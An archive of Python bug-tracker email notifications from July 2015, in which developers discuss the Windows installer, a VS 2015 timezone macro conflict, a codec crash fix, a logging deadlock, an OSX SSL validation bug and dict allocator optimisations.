installer? Message-ID: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> New submission from Alex Walters: I use the *.msi installers for python to automate deployment of... an absurd number of python installations. I have been able to do this relatively easily, as the Windows installer didn't change much between 2.6 and 3.4 (possibly much longer than that, but I don't know about 2.5 or earlier). 3.5 added a new installer (the web installer), and apparently dropped the old standby *.msi installers, for the beta versions. Will there be *.msi installers for 3.5? ---------- components: Windows messages: 246796 nosy: paul.moore, steve.dower, tim.golden, tritium, zach.ware priority: normal severity: normal status: open title: Will there be an MSI installer? versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 11:47:25 2015 From: report at bugs.python.org (Matthieu Gautier) Date: Thu, 16 Jul 2015 09:47:25 +0000 Subject: =?utf-8?q?=5Bissue23319=5D_Missing_SWAP=5FINT=C2=A0in_I=5Fset=5Fsw?= In-Reply-To: <1422212017.26.0.671058309435.issue23319@psf.upfronthosting.co.za> Message-ID: <1437040045.43.0.14999474462.issue23319@psf.upfronthosting.co.za> Matthieu Gautier added the comment: The bug is also present in Python 2.7. Is it possible to backport this fix ? ---------- versions: +Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 12:11:38 2015 From: report at bugs.python.org (Ezio Melotti) Date: Thu, 16 Jul 2015 10:11:38 +0000 Subject: [issue17359] Mention "__main__.py" explicitly in command line docs In-Reply-To: <1362512425.64.0.937549165034.issue17359@psf.upfronthosting.co.za> Message-ID: <1437041498.24.0.870263625294.issue17359@psf.upfronthosting.co.za> Ezio Melotti added the comment: See also #24632. ---------- nosy: +ezio.melotti type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 12:27:23 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 16 Jul 2015 10:27:23 +0000 Subject: [issue24642] Will there be an MSI installer? In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> Message-ID: <1437042443.32.0.823191381173.issue24642@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- components: +Installation _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 14:48:11 2015 From: report at bugs.python.org (Matthew Barnett) Date: Thu, 16 Jul 2015 12:48:11 +0000 Subject: [issue24642] Will there be an MSI installer? In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> Message-ID: <1437050891.9.0.330984291983.issue24642@psf.upfronthosting.co.za> Matthew Barnett added the comment: There's an "executable installer"; it's a .exe instead of a .msi. ---------- nosy: +mrabarnett _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 14:54:26 2015 From: report at bugs.python.org (Steve Dower) Date: Thu, 16 Jul 2015 12:54:26 +0000 Subject: [issue24642] Will there be an MSI installer? In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> Message-ID: <1437051266.51.0.550414150123.issue24642@psf.upfronthosting.co.za> Steve Dower added the comment: Also have a read of https://docs.python.org/3.5/using/windows.html and see whether it will suit your needs. I need to hear feedback on this, as we're running short on time to make drastic changes if they are necessary. I too automate installation of absurd numbers of Python interpreters (across versions rather than machines, but still fairly often), and I haven't had any trouble being able to install 3.5 in a very similar way. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 14:57:06 2015 From: report at bugs.python.org (Martin Panter) Date: Thu, 16 Jul 2015 12:57:06 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1437051426.35.0.656332878275.issue23247@psf.upfronthosting.co.za> Martin Panter added the comment: Aaron: Your version of the fix immediately returns None, while Victor?s tries to encode an empty string (if I understand it correctly). I imagine this shortcut could be slightly more efficient, but is it always correct? In any case, Aaron?s test looks okay to me. ---------- stage: test needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 15:01:32 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 16 Jul 2015 13:01:32 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1437051692.63.0.363394422476.issue23247@psf.upfronthosting.co.za> STINNER Victor added the comment: > Aaron: Your version of the fix immediately returns None, while Victor?s tries to encode an empty string (if I understand it correctly). Aaron patch is better. I misunderstood the code. reset() always return None, the empty string is unused in my patch. fix-multibytecodec-segfault.patch: please write a _new_ test mentionning this issue to check for non regression. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 15:51:20 2015 From: report at bugs.python.org (James Salter) Date: Thu, 16 Jul 2015 13:51:20 +0000 Subject: [issue24643] VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h Message-ID: <1437054680.06.0.553712434946.issue24643@psf.upfronthosting.co.za> New submission from James Salter: For python 3.5, PC/pyconfig.h contains the following for vs2015 support: /* VS 2015 defines these names with a leading underscore */ #if _MSC_VER >= 1900 #define timezone _timezone #define daylight _daylight #define tzname _tzname #endif This breaks any python extension code that includes pyconfig.h and then defines any function or variable called 'timezone', 'daylight', or 'tzname'. My breaking case is a conflict with from the Windows 10 kit (for me: c:\program files (x86)\Windows Kits\10\include\10.0.10056.0\ucrt\sys\timeb.h). This is used during compilation of gevent, which includes that file via libev/ev_win32.c. timeb.h contains this innocent structure: struct __timeb32 { __time32_t time; unsigned short millitm; short timezone; short dstflag; }; I think we need a different approach that doesn't conflict with common english variable names and in particular other windows SDK includes. ---------- components: Extension Modules messages: 246803 nosy: James Salter priority: normal severity: normal status: open title: VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 16:14:53 2015 From: report at bugs.python.org (Zachary Ware) Date: Thu, 16 Jul 2015 14:14:53 +0000 Subject: [issue24643] VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h In-Reply-To: <1437054680.06.0.553712434946.issue24643@psf.upfronthosting.co.za> Message-ID: <1437056093.04.0.171856424401.issue24643@psf.upfronthosting.co.za> Zachary Ware added the comment: I suppose we'll have to resort to #ifndef _Py_timezone #if _MSC_VER >= 1900 #define _Py_timezone _timezone #else #define _Py_timezone timezone #endif #endif ... ---------- components: +Build, Windows -Extension Modules nosy: +paul.moore, steve.dower, tim.golden, zach.ware stage: -> needs patch versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 16:26:30 2015 From: report at bugs.python.org (Steve Dower) Date: Thu, 16 Jul 2015 14:26:30 +0000 Subject: [issue24643] VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h In-Reply-To: <1437054680.06.0.553712434946.issue24643@psf.upfronthosting.co.za> Message-ID: <1437056790.04.0.595002484693.issue24643@psf.upfronthosting.co.za> Steve Dower added the comment: Or we could define _timezone on those platforms that don't have the underscore. I'm not hugely fussed either way. We need to fix this though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 17:05:54 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 16 Jul 2015 15:05:54 +0000 Subject: [issue24643] VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h In-Reply-To: <1437054680.06.0.553712434946.issue24643@psf.upfronthosting.co.za> Message-ID: <1437059154.77.0.893321980655.issue24643@psf.upfronthosting.co.za> STINNER Victor added the comment: Can't we move the #define only in .c files where they are needed? Or in a private header (not included by Python.h)? ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 17:37:22 2015 From: report at bugs.python.org (Steve Dower) Date: Thu, 16 Jul 2015 15:37:22 +0000 Subject: [issue24643] VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h In-Reply-To: <1437054680.06.0.553712434946.issue24643@psf.upfronthosting.co.za> Message-ID: <1437061042.84.0.380670214404.issue24643@psf.upfronthosting.co.za> Steve Dower added the comment: That's probably an option, though it would break extensions that use `timezone` expecting it to work. But it seems like any change is going to cause that. I prefer defining _Py_timezone, since at least we can offer something that is portable for all Python 3.5 platforms (that support timezones), unlike timezone/_timezone (MSVC deprecated `timezone` a few versions ago and has just removed it completely, hence the breakage). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 18:30:57 2015 From: report at bugs.python.org (Antony Lee) Date: Thu, 16 Jul 2015 16:30:57 +0000 Subject: [issue24644] --help for runnable stdlib modules Message-ID: <1437064257.55.0.10829517472.issue24644@psf.upfronthosting.co.za> New submission from Antony Lee: Support for python -m [-h|--help] is a bit patchy right now: $ python -mpdb -h usage: pdb.py [-c command] ... pyfile [arg] ... $ python -mpdb --help Traceback (most recent call last): File "/usr/lib/python3.4/runpy.py", line 170, in _run_module_as_main "__main__", mod_spec) File "/usr/lib/python3.4/runpy.py", line 85, in _run_code exec(code, run_globals) File "/usr/lib/python3.4/pdb.py", line 1685, in pdb.main() File "/usr/lib/python3.4/pdb.py", line 1629, in main opts, args = getopt.getopt(sys.argv[1:], 'hc:', ['--help', '--command=']) File "/usr/lib/python3.4/getopt.py", line 93, in getopt opts, args = do_longs(opts, args[0][2:], longopts, args[1:]) File "/usr/lib/python3.4/getopt.py", line 157, in do_longs has_arg, opt = long_has_args(opt, longopts) File "/usr/lib/python3.4/getopt.py", line 174, in long_has_args raise GetoptError(_('option --%s not recognized') % opt, opt) getopt.GetoptError: option --help not recognized # <-- not a getopt specialist but --help is actually listed in the call to getopt! $ python -mtrace -h /usr/lib/python3.4/trace.py: option -h not recognized Try `/usr/lib/python3.4/trace.py --help' for more information $ python -mtrace --help Usage: /usr/lib/python3.4/trace.py [OPTIONS] [ARGS] ---------- components: Library (Lib) messages: 246808 nosy: Antony.Lee priority: normal severity: normal status: open title: --help for runnable stdlib modules versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 18:45:51 2015 From: report at bugs.python.org (Brad Larsen) Date: Thu, 16 Jul 2015 16:45:51 +0000 Subject: [issue24630] null pointer dereference in `load_newobj_ex` In-Reply-To: <1436840178.63.0.757852157332.issue24630@psf.upfronthosting.co.za> Message-ID: <1437065151.22.0.322450700973.issue24630@psf.upfronthosting.co.za> Brad Larsen added the comment: Yeah, this appears to be fixed along with #24552. ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 18:47:36 2015 From: report at bugs.python.org (Aaron Hill) Date: Thu, 16 Jul 2015 16:47:36 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1437065256.68.0.12642466728.issue23247@psf.upfronthosting.co.za> Aaron Hill added the comment: I've added a test case to exercise reset() ---------- Added file: http://bugs.python.org/file39934/fix-multibytecodec-segfault-with-test.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 19:44:57 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 16 Jul 2015 17:44:57 +0000 Subject: [issue24630] null pointer dereference in `load_newobj_ex` In-Reply-To: <1436840178.63.0.757852157332.issue24630@psf.upfronthosting.co.za> Message-ID: <1437068697.14.0.598387743254.issue24630@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> out of date stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 20:47:09 2015 From: report at bugs.python.org (R. David Murray) Date: Thu, 16 Jul 2015 18:47:09 +0000 Subject: [issue24644] --help for runnable stdlib modules In-Reply-To: <1437064257.55.0.10829517472.issue24644@psf.upfronthosting.co.za> Message-ID: <1437072429.97.0.99463004523.issue24644@psf.upfronthosting.co.za> R. David Murray added the comment: Please open individual issues to address individual modules that you would like to contribute to improving. Adding/fixing help is often best done by rewriting the argument parsing...contributions have been made to improve several modules already. In most cases we don't have tests for the -m features, and those need to be created first. In some cases we don't really want to continue to support whatever -m code exists (because it exists for no-longer-relevant historical reasons...though that doesn't apply in the two cases you reference). So each module needs to be addressed individually. To address the specific issue you raise: I believe that when we have rewritten things, we have chosen to follow argparse's lead and support both -h and --help for the display of help information. ---------- nosy: +r.david.murray resolution: -> later stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 21:03:19 2015 From: report at bugs.python.org (Justin Bronder) Date: Thu, 16 Jul 2015 19:03:19 +0000 Subject: [issue24645] logging.handlers.QueueHandler should not lock when handling a record Message-ID: <1437073399.79.0.290504971433.issue24645@psf.upfronthosting.co.za> New submission from Justin Bronder: The Queue backing the QueueHandler is already sufficiently locking for thread-safety. This isn't a huge issue, but the QueueHandler is a very nice built-in which could be used to work around a deadlock I've encountered several times. In brief, functions which can cause other threads to log being called from either __repr__() or __str__(). ---------- components: Library (Lib) files: queue-handler-no-lock.patch keywords: patch messages: 246812 nosy: jsbronder priority: normal severity: normal status: open title: logging.handlers.QueueHandler should not lock when handling a record versions: Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file39935/queue-handler-no-lock.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 21:04:33 2015 From: report at bugs.python.org (Jussi Pakkanen) Date: Thu, 16 Jul 2015 19:04:33 +0000 Subject: [issue24646] Python accepts SSL certificate that should be rejected on OSX Message-ID: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za> New submission from Jussi Pakkanen: Create a dummy certificate and build an ssl context like this: ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1) ctx.verify_mode = ssl.CERT_REQUIRED ctx.load_verify_locations(cadata=dummy_certificate) Then try to connect to a public service like this: u = urllib.request.urlopen('https://www.google.com', context=ctx) data = u.read() Python will validate the server certificate even though it should reject it. Attached is a script to demonstrate this. This happens with Python 3.4.3 on OSX 10.10.4. Running the same script in Ubuntu raises a certificate rejection exception as expected. ---------- components: Library (Lib) files: sslbug.py messages: 246813 nosy: jpakkane priority: normal severity: normal status: open title: Python accepts SSL certificate that should be rejected on OSX type: security versions: Python 3.4 Added file: http://bugs.python.org/file39936/sslbug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 21:11:02 2015 From: report at bugs.python.org (Donald Stufft) Date: Thu, 16 Jul 2015 19:11:02 +0000 Subject: [issue24646] Python accepts SSL certificate that should be rejected on OSX In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za> Message-ID: <1437073862.65.0.789035052278.issue24646@psf.upfronthosting.co.za> Donald Stufft added the comment: I think the only way to actually fix this, is to stop using the OpenSSL provided by OSX. ---------- nosy: +dstufft _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 21:34:46 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 16 Jul 2015 19:34:46 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1437075286.11.0.0806731771722.issue24567@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See the attached timings for sample(). Patched sample2 is at worst 4% slower than original sample, and optimized sample3 is between sample and sample2. In any case the difference is pretty small, so I'm good with Raymond's variant if it looks better for him. Please note that 3.x also needs the patch. ---------- versions: +Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file39937/sample_timings.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:03:22 2015 From: report at bugs.python.org (R. David Murray) Date: Thu, 16 Jul 2015 20:03:22 +0000 Subject: [issue24645] logging.handlers.QueueHandler should not lock when handling a record In-Reply-To: <1437073399.79.0.290504971433.issue24645@psf.upfronthosting.co.za> Message-ID: <1437077002.78.0.289147207034.issue24645@psf.upfronthosting.co.za> R. David Murray added the comment: Can you expand on the deadlock? Are you saying that the "extra" locking is causing the deadlock? ---------- nosy: +r.david.murray, vinay.sajip versions: -Python 3.2, Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:08:58 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 16 Jul 2015 20:08:58 +0000 Subject: [issue24643] VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h In-Reply-To: <1437061042.84.0.380670214404.issue24643@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: > That's probably an option, though it would break extensions that use `timezone` expecting it to work. Hum, I don't remember that the "timezone" symbol of part of the Python public API. Which extensions? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:22:58 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 16 Jul 2015 20:22:58 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <20150716202255.23363.10645@psf.io> Roundup Robot added the comment: New changeset 35a6fe0e2b27 by Victor Stinner in branch '3.4': Closes #23247: Fix a crash in the StreamWriter.reset() of CJK codecs https://hg.python.org/cpython/rev/35a6fe0e2b27 ---------- nosy: +python-dev resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:25:47 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 16 Jul 2015 20:25:47 +0000 Subject: [issue23247] Crash in the reset() method of StreamWriter of CJK codecs In-Reply-To: <1421389070.93.0.922548564015.issue23247@psf.upfronthosting.co.za> Message-ID: <1437078347.17.0.483863837232.issue23247@psf.upfronthosting.co.za> STINNER Victor added the comment: @Aaron Hill: Thanks for your patch! I only kept the minimal test of your patch. If you want to enhance the test suite, you may write new test to test the behaviour of reset(). I prefer to only commit the minimum patch. @Martin: Thanks for your report. The issue is now fixed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:26:44 2015 From: report at bugs.python.org (Steve Dower) Date: Thu, 16 Jul 2015 20:26:44 +0000 Subject: [issue24643] VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h In-Reply-To: <1437054680.06.0.553712434946.issue24643@psf.upfronthosting.co.za> Message-ID: <1437078404.55.0.276451428795.issue24643@psf.upfronthosting.co.za> Steve Dower added the comment: It's not, but "#include " in any extension will make it available for you, so it's very likely that extensions have simply used it without adding their own conditional compilation for the various interpretations of whether timezone is standard or not. Bit of a strawman, granted. Maybe working at Microsoft has made me overly cautious about changes that could break *anyone* - it's a big deal in many groups here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:29:34 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 16 Jul 2015 20:29:34 +0000 Subject: [issue24643] VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h In-Reply-To: <1437078404.55.0.276451428795.issue24643@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: For me, it's not the responsability of python.h to ensure that the timezone symbol is available. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:36:43 2015 From: report at bugs.python.org (Mark Shannon) Date: Thu, 16 Jul 2015 20:36:43 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1425727481.08.0.141675339822.issue23601@psf.upfronthosting.co.za> Message-ID: <1437079003.62.0.801556085705.issue23601@psf.upfronthosting.co.za> Mark Shannon added the comment: +1 from me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:38:52 2015 From: report at bugs.python.org (Steve Dower) Date: Thu, 16 Jul 2015 20:38:52 +0000 Subject: [issue24643] VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h In-Reply-To: <1437054680.06.0.553712434946.issue24643@psf.upfronthosting.co.za> Message-ID: <1437079132.15.0.624040415442.issue24643@psf.upfronthosting.co.za> Steve Dower added the comment: Agreed. However, I also don't want extensions to stop building because of a change we make. But since that's inevitable here, let's go with Zach's original suggestion and use a name that won't conflict. (IIRC, I originally put the #ifdefs in each file and was told to move them to pyconfig.h...) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:47:25 2015 From: report at bugs.python.org (Antony Lee) Date: Thu, 16 Jul 2015 20:47:25 +0000 Subject: [issue24647] Document argparse.REMAINDER as being equal to "..." Message-ID: <1437079645.1.0.921184801927.issue24647@psf.upfronthosting.co.za> New submission from Antony Lee: Currently the argparse docs mention the special values "+", "*" and "?" by their actual values instead of argparse.{ONE_OR_MORE,ZERO_OR_MORE,OPTIONAL}, but argparse.REMAINDER is mentioned as is. It seems easier to just use its actual value ("...") in the docs as well. ---------- components: Library (Lib) messages: 246824 nosy: Antony.Lee priority: normal severity: normal status: open title: Document argparse.REMAINDER as being equal to "..." versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:50:32 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 16 Jul 2015 20:50:32 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1425727481.08.0.141675339822.issue23601@psf.upfronthosting.co.za> Message-ID: <1437079832.51.0.396495129612.issue23601@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: If use small object allocator for dict key storage, why not use it for dict value storage? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:50:33 2015 From: report at bugs.python.org (Zachary Ware) Date: Thu, 16 Jul 2015 20:50:33 +0000 Subject: [issue24643] VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h In-Reply-To: <1437054680.06.0.553712434946.issue24643@psf.upfronthosting.co.za> Message-ID: <1437079833.3.0.230212457301.issue24643@psf.upfronthosting.co.za> Zachary Ware added the comment: > (IIRC, I originally put the #ifdefs in each file and was told to move > them to pyconfig.h...) Yeah, I think I did suggest that, to match what we do with hypot/_hypot for MSC 1600+. We should probably also change that one while fixing timezone, daylight, and tzname. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:54:17 2015 From: report at bugs.python.org (Justin Bronder) Date: Thu, 16 Jul 2015 20:54:17 +0000 Subject: [issue24645] logging.handlers.QueueHandler should not lock when handling a record In-Reply-To: <1437077002.78.0.289147207034.issue24645@psf.upfronthosting.co.za> Message-ID: <20150716205408.GQ14415@gmail.com> Justin Bronder added the comment: On 16/07/15 20:03 +0000, R. David Murray wrote: > > R. David Murray added the comment: > > Can you expand on the deadlock? Are you saying that the "extra" locking is causing the deadlock? > > ---------- > nosy: +r.david.murray, vinay.sajip > versions: -Python 3.2, Python 3.3 > > _______________________________________ > Python tracker > > _______________________________________ Sure, here is the simplest example of the deadlock I could come up with. Using __repr__() in the way presented is pretty stupid in this case but it does make sense if you have objects which are backed by a database where communication is handled in a separate thread. What happens is this: 1. The main thread calls into the logger, handle() grabs the I/O lock. 2. String expansion of the Blah instance begins, this makes a request to the second thread. 3. The second thread wants to log prior to responding, it gets stuck waiting for the I/O lock in handle() import logging import logging.handlers import queue import types import threading fmt = logging.Formatter('LOG: %(message)s') stream = logging.StreamHandler() stream.setFormatter(fmt) log_queue = queue.Queue(-1) queue_handler = logging.handlers.QueueHandler(log_queue) queue_listener = logging.handlers.QueueListener(log_queue, stream) queue_listener.start() def handle(self, record): rv = self.filter(record) if rv: self.emit(record) return rv # Uncomment to remove deadlock #queue_handler.handle = types.MethodType(handle, queue_handler) logger = logging.getLogger() logger.addHandler(queue_handler) logger.setLevel(logging.DEBUG) class Blah(object): def __init__(self): self._in = queue.Queue() self._out = queue.Queue() def pub(): self._in.get(block=True) logging.info('Got a request') self._out.put('hi') self._pub_thread = threading.Thread(target=pub) self._pub_thread.start() def __repr__(self): self._in.put('gimme data') return self._out.get() def __del__(self): self._pub_thread.join() b = Blah() logger.info('About to log') logger.info('blah = %s', b) queue_listener.stop() ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:58:44 2015 From: report at bugs.python.org (Mark Shannon) Date: Thu, 16 Jul 2015 20:58:44 +0000 Subject: [issue24648] Allocation of values array in split dicts should use small object allocator. Message-ID: <1437080324.24.0.647779902092.issue24648@psf.upfronthosting.co.za> New submission from Mark Shannon: Issue 23601 advocates using the small object allocator for dict-keys objects and the results of tests are good. Using the small object allocator for dict value-arrays as well seems like the obvious next step. ---------- components: Interpreter Core keywords: easy messages: 246828 nosy: Mark.Shannon priority: low severity: normal stage: needs patch status: open title: Allocation of values array in split dicts should use small object allocator. type: performance versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 22:59:19 2015 From: report at bugs.python.org (Mark Shannon) Date: Thu, 16 Jul 2015 20:59:19 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1425727481.08.0.141675339822.issue23601@psf.upfronthosting.co.za> Message-ID: <1437080359.01.0.536718359875.issue23601@psf.upfronthosting.co.za> Mark Shannon added the comment: Yes, but that shouldn't block this issue. I've opened issue 24648 instead. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 23:02:20 2015 From: report at bugs.python.org (R. David Murray) Date: Thu, 16 Jul 2015 21:02:20 +0000 Subject: [issue24645] logging.handlers.QueueHandler should not lock when handling a record In-Reply-To: <1437073399.79.0.290504971433.issue24645@psf.upfronthosting.co.za> Message-ID: <1437080540.19.0.80209704626.issue24645@psf.upfronthosting.co.za> R. David Murray added the comment: I can't see doing io in __repr__ ever making sense, so I'm not sure this is a use case we care about. But Vinay might not have any objection to removing locking if it is redundant, so we'll see what he has to say. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 23:11:49 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 16 Jul 2015 21:11:49 +0000 Subject: [issue24648] Allocation of values array in split dicts should use small object allocator. In-Reply-To: <1437080324.24.0.647779902092.issue24648@psf.upfronthosting.co.za> Message-ID: <1437081109.79.0.306216023538.issue24648@psf.upfronthosting.co.za> STINNER Victor added the comment: If it's an optimization, we need benchmarks. We should also try to modify PyMem allocator to simply be an alias to PyObject allocator. I expect a little speedup. I'm not talking for the specific case of the dict type, but for all Python. ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 16 23:29:29 2015 From: report at bugs.python.org (Aaron Meurer) Date: Thu, 16 Jul 2015 21:29:29 +0000 Subject: [issue19918] PureWindowsPath.relative_to() is not case insensitive In-Reply-To: <1386414151.7.0.591578690469.issue19918@psf.upfronthosting.co.za> Message-ID: <1437082169.14.0.811740579776.issue19918@psf.upfronthosting.co.za> Changes by Aaron Meurer : ---------- nosy: +Aaron Meurer _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 00:27:02 2015 From: report at bugs.python.org (Alex Walters) Date: Thu, 16 Jul 2015 22:27:02 +0000 Subject: [issue24642] Will there be an MSI installer? In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> Message-ID: <1437085622.11.0.804083407455.issue24642@psf.upfronthosting.co.za> Alex Walters added the comment: Related to the exe installer... /? lists only 4 options, none of which are useful in restricting the installation, or changing its location. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 00:32:30 2015 From: report at bugs.python.org (Alex Walters) Date: Thu, 16 Jul 2015 22:32:30 +0000 Subject: [issue24642] Will there be an MSI installer? In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> Message-ID: <1437085950.43.0.791526102609.issue24642@psf.upfronthosting.co.za> Alex Walters added the comment: and...you already addressed that. Ignore previous. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 00:43:05 2015 From: report at bugs.python.org (Antony Lee) Date: Thu, 16 Jul 2015 22:43:05 +0000 Subject: [issue24649] python -mtrace --help is wrong Message-ID: <1437086585.22.0.878051480873.issue24649@psf.upfronthosting.co.za> New submission from Antony Lee: While working on #24644, I noticed that the help for python -mtrace is quite wrong. $ python -mtrace --help Usage: /usr/lib/python3.4/trace.py [OPTIONS] [ARGS] Meta-options: --help Display this help then exit. --version Output version information then exit. Otherwise, exactly one of the following three options must be given: -t, --trace Print each line to sys.stdout before it is executed. -c, --count Count the number of times each line is executed and write the counts to .cover for each module executed, in the module's directory. See also `--coverdir', `--file', `--no-report' below. -l, --listfuncs Keep track of which functions are executed at least once and write the results to sys.stdout after the program exits. -T, --trackcalls Keep track of caller/called pairs and write the results to sys.stdout after the program exits. -r, --report Generate a report from a counts file; do not execute any code. `--file' must specify the results file to read, which must have been created in a previous run with `--count --file=FILE'. 1. Obviously, there are more than 3 options there. 2. Simple testing suggests that it is at least possible to pass both -t and -c simultaneously. I haven't tested other combinations. ---------- components: Library (Lib) messages: 246834 nosy: Antony.Lee priority: normal severity: normal status: open title: python -mtrace --help is wrong versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 00:47:11 2015 From: report at bugs.python.org (Antony Lee) Date: Thu, 16 Jul 2015 22:47:11 +0000 Subject: [issue24644] --help for runnable stdlib modules In-Reply-To: <1437064257.55.0.10829517472.issue24644@psf.upfronthosting.co.za> Message-ID: <1437086831.42.0.137028556071.issue24644@psf.upfronthosting.co.za> Antony Lee added the comment: To be honest I don't really plan to contribute any patch on this specific issue right now, the CLI interface of e.g. trace has some other serious issues (see e.g. #24649) that I don't want to work out, and writing tests for the CLI are a pain too (also why I haven't made more progress on #23596). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 17 00:51:51 2015 From: report at bugs.python.org (John Allison) Date: Thu, 16 Jul 2015 22:51:51 +0000 Subject: 